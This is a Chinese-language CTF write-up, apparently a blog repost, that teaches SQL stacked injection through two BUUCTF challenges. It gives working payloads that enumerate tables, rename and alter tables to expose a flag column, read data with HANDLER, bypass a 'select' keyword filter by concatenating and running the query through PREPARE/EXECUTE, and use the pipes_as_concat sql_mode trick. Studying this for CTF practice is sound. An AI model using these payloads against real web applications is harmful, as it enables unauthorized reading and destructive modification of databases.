兩道ctf題目學會sql堆疊注入以及拿flag的騷姿勢


0x00:寫在前面

題目來源:https://buuoj.cn/challenges

參考wp:https://blog.csdn.net/qq_26406447/article/details/90643951

0x01:堆疊注入

原理很簡單,mysql_multi_query() 支持多條sql語句同時執行,就是個;分隔,成堆的執行sql語句,例如

 select * from users;show databases; 

就同時執行以上兩條命令,所以我們可以增刪改查,只要權限夠~

雖然這個注入姿勢很牛逼,但實際遇到很少,其可能受到API或者數據庫引擎,又或者權限的限制只有當調用數據庫函數支持執行多條sql語句時才能夠使用,利用mysqli_multi_query()函數就支持多條sql語句同時執行,但實際情況中,如PHP為了防止sql注入機制,往往使用調用數據庫的函數是mysqli_ query()函數,其只能執行一條語句,分號后面的內容將不會被執行,所以可以說堆疊注入的使用條件十分有限,一旦能夠被使用,將可能對網站造成十分大的威脅。

0x02:wp~

打開題目,單引號輕而易舉的報錯

 

 正常的sql注入開始,order by 2(這里是正常的) 然后union select 1,2-- -,就觸發了過濾規則

 

 嘗試bypass無果,然后想了各種姿勢,好像都和select要扯上關系(師傅有新思路 可以評論提示一下)

補充經過評論提示還有方法:handler代替select  、concat拼接存儲過程

這里嘗試堆疊注入

1';show databases;

1';show tables;(這里因為就是選中了當前數據庫,所以直接show即可)

 

 

1';show columns from words;

 

 

1';show columns from `1919810931114514`;

 

 查看兩個表的字段名字,此時我們目標就是讀取1919810931114514表的flag字段,但是限制了查詢語句,所以我們需要通過當前頁面的select展示語句進行得到flag

在當前頁面有個與數據庫交互的操作。id=1,2,3

那么這里是從words表里面進行查詢

前面說過 我們可以通過堆疊注入進行怎刪改查,那么此時我們可以把1919810931114514改為words表,然后添加id參數,再把原先的words給改為其他

講白了就是占別人的窩

OK 開始

mysql修改表名的操作:

把默認的words改為ww
ALTER TABLE words RENAME TO ww;
把1919810931114514改為words;
ALTER TABLE 1919810931114514 RENAME TO words;
往words表里新增一個字段id
ALTER TABLE words ADD id int(10) DEFAULT '1';
修改words里面flag為data
ALTER TABLE words CHANGE flag data VARCHAR(100);-- -
然后把以上語句進行堆疊:所以payload:url?=1';rename table words to word22;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);-- -
還有種語句格式:
把默認的words改為ww
rename table words to ww;
下面就都一樣

驗證:

 flag就到手了

方法2:handler

handler `1919810931114514` open;handler `1919810931114514` read first;(因為這里是長數字 所以需要`)

 

 方法三:存儲過程 concat拼接拿flag

?inject=1';sEt+@a=concat("sel","ect+flag+from+`1919810931114514`");prepare+hello+from+@a;execute+hello;-- -

 

 

0x03:CTF題目二 [suctf-2019 easy-sql]

項目源碼環境

 

 打開這題目,輸入1得到如圖,burp fuzz一下過濾了很多關鍵字,show select都可以用,但flag from這些都不行

常規操作,show tables;

 

 得到這樣,其實這里下面自己就沒思路了。。。from flag都被過濾,列名和表信息都查看不了

解法一:

*,1

post傳入query=*,1

那么sql查詢語句就是 select *,1 || flag from Flag;

解法2:1;set sql_mode=pipes_as_concat;select 1

set sql_mode=pipes_as_concat;把||變成連接符

 

 

0x04:總結

堆疊注入不難,就是這個sql注入姿勢太多啦,emmm 一開始自己搗鼓好久其他的,嘗試各種繞過,還是不熟悉這個~ 嘖!

這題感覺這個最后拿flag的姿勢很有意思,能想到的人還蠻聰明的

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM